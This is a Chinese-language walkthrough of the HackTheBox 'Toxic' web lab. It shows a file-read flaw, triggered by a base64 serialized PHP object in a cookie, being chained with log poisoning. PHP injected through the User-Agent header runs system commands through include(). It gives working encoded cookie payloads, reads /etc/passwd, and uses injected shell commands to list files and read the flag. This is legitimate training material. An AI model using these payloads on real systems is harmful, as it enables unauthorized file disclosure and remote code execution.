環境說明
hackthebox上的web靶機,名稱為toxic
攻擊策略:
用任意檔案讀取漏洞存取系統日志,在利用任意代碼執行漏洞在日志內產生指令讓系統執行
安全檢查重點
- 透過base64解開cookie,檢查是否有任何信息,像是檔案路徑
- 測試cookie內容的改變是否能讓網頁有影響
- 在代碼中檢查php include()的來源是可由外部控制
攻擊方式
步驟1
根據index.php代碼分析,讀檔會透過cookie,所以只要改cookie就可以讓網站讀取任意文檔
假如我想讀取/etc/passwd, 我可以用以下代碼產生base64編碼的Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=
<?php
class PageModel
{
public $file;
}
$page = new PageModel;
$page->file = '/etc/passwd';
print(base64_encode(serialize($page)))
?>
#php sandbox https://onlinephp.io/
Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=用base64解開後會得到O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}
讀取網頁時將cookie內容指定為Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2V0Yy9wYXNzd2QiO30=會讓代碼認為要讀取/etc/passwd,因此網頁會顯示/etc/passwd的內容
步驟2
分析組態檔內容發現nginx.conf有/var/log/nginx/access.log, 因此可以透過瀏覽行為產生指定的access log內容,所以用剛剛的技巧顯示/var/log/nginx/access.log
因此要將cookie指定為Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==,這段base64編碼內容為O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}
,這會讓網頁顯示內容如下
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
只要在請求時指定user-agent:test
, /var/log/nginx/access.log
內容就會產生變成以下這樣
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "test"
步驟3
由於代碼中使用include()
讀取文件,此功能的特點是任何讀取的文件都會被當成php執行,所以我們可以通過將shell寫入日志的方式來執行命令
在請求時指定為user-agent:<?php system('ls');?>
,在/var/log/nginx/access.log
內容就會產生變成以下這樣
..omit...
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" "<?php system('ls');?>"
但因為經過了include( "/var/log/nginx/access.log")
這個功能的特性,會執行裡面的system('ls')
,顯示ls的結果,因此實際網頁會顯示如下
...omit...
138.68.166.146 - 200 "GET / HTTP/1.1" "-" "test" 138.68.166.146 - 200 "GET /favicon.ico HTTP/1.1" "http://138.68.166.146:30307/" models static index index.php
透過這個方式尋找,可以發現flag在根目錄,
因此改為user-agent:<?php system('cat /flag_TUJVt');?>
,或是請求時把cookie指定Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToiL2ZsYWdfVFVKVnQiO30= (此為 /flag_TUJVt的位置) ,就可以取得flag內容
參考文獻
https://shakuganz.com/2021/05/29/hackthebox-toxic-write-up/
http://www.pdsdt.lovepdsdt.com/index.php/2021/05/01/htb2/
http://www.bmth666.cn/bmth_blog/2020/12/31/HackTheBox%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/